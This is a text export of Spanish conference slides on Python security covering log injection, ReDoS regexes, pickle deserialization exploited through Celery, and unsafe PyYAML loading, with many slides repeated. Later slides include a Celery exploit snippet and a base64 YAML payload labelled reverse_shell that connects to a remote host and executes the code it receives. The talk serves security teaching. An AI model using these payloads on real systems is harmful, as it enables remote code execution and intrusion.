Post on 16-Apr-2017
DANIEL GARCÍA (CR0HN)
SEGURIDAD & PYTHONEL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
https://github.com/cr0hn/i-owasp-madrid
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DE QUÉ VA ESTA CHARLA?
▸ Seguridad en código en Python
▸ OWASP aplicado a Python.
▸ Seguridad práctica en Python
▸ Hacking a Python.
▸ E x p l o t a c i ó n d e vulnerabilidades NO tan típicas…
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES POCO CONOCIDAS
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (1/3)
@app.route("/info", methods=["POST"])def logi(): data = request.form['id'] log.debug("[*] Tried to get info '" + data + "' from the user.") return "got info!"
logi/app.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (1/3)
@app.route("/info", methods=["POST"])def logi(): data = request.form['id'] log.debug("[*] Tried to get info '" + data + "' from the user.") return "got info!"
logi/app.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (2/3)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (2/3)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (3/3)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (3/3)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
Denial Of System (DoS)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (2/3)
@app.route("/mailme/<mail>", methods=["GET"])def logi(mail=None): if re.match(r'^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$', mail): return "mail sent to: %s" % mail else: return "mail forma invalid"
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (2/3)
@app.route("/mailme/<mail>", methods=["GET"])def logi(mail=None): if re.match(r'^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$', mail): return "mail sent to: %s" % mail else: return "mail forma invalid"
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
30 seconds
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES “RARUNAS" I: PICKLE
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QÚE ES Y PARA QUÉ SIRVE PICKLE
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ ES PICKLE
▸ Módulo de Python que permite serializar y deserializar estructuras de Python.
▸ Es muy sencillo de utilizar.
▸ Viene incorporado con las librerías nativas.
▸ Es el formato de serialización por defecto de muchos frameworks.
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (1/2)
# -*- coding: utf-8 -*-import pickleclass ImSoHappy(object): def __init__(self): self.my_var = []def main(): pickle.dump(ImSoHappy(), open("my_info.db", "wb")) if __name__ == '__main__': main()
pickle/pickle-good.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (1/2)
# -*- coding: utf-8 -*-import pickleclass ImSoHappy(object): def __init__(self): self.my_var = []def main(): pickle.dump(ImSoHappy(), open("my_info.db", "wb")) if __name__ == '__main__': main()
pickle/pickle-good.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (2/2)
?c__main__ImSoHappyq)?q}qXmy_varq]qsb.
pickle/my_info.db
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VOLVÁMONOS MALOS
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VOLVÁMONOS MALOS
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI…
▸ Pickle nos permitiera modificar el flujo de deserialización?
▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa?
▸ Y si ejecutaremos cosas malas?
▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI…
▸ Pickle nos permitiera modificar el flujo de deserialización?
▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa?
▸ Y si ejecutaremos cosas malas?
▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… HICIÉRAMOS UNA DEMO?
pickle/pickle-004.py
pickle/pickle-003.py
pickle/pickle-002.py
pickle/pickle-001.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… HICIÉRAMOS UNA DEMO?
pickle/pickle-004.py
pickle/pickle-003.py
pickle/pickle-002.py
pickle/pickle-001.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CELERY + PICKLE: GRAN FALLO DE SEGURIDAD
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (1/5)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)
worker2
Worker
worker1
Worker
heavy_action()
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)
Broker
worker2
Worker
worker1
Worker
heavy_action()
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (4/5)
from celery import Celeryapp = Celery(broker="redis://127.0.0.1")@app.task(name="heavy_action")def heavy_action(param): print(param)def main(): # Exploit! app.send_task("heavy_action", (MyLittleBastard(), ))
pickle/celery_exploit.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (5/5)
¡Demo time!
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES “RARUNAS" II: YAML
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ ES EL YAMLimport yamlYAML = '''hello: worldhow: - are - you'''def main(): print(yaml.load(YAML))if __name__ == '__main__': main()
{ 'how': ['are', 'you'], 'hello': ‘world’ }
yml/yml-001.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAMLimport yamlYAML = '''hello: worldhow: - are - youmy_bool: !!bool False'''def main(): print(yaml.load(YAML))
{ 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] }
yml/yml-002.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAMLimport yamlYAML = '''hello: worldhow: - are - youmy_bool: !!bool False'''def main(): print(yaml.load(YAML))
{ 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] }
yml/yml-002.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''
import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''
yml/yml-003.py yml/yml-004.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''
import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''
yml/yml-003.py yml/yml-004.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''
import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''
yml/yml-003.py yml/yml-004.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
¡GRACIAS!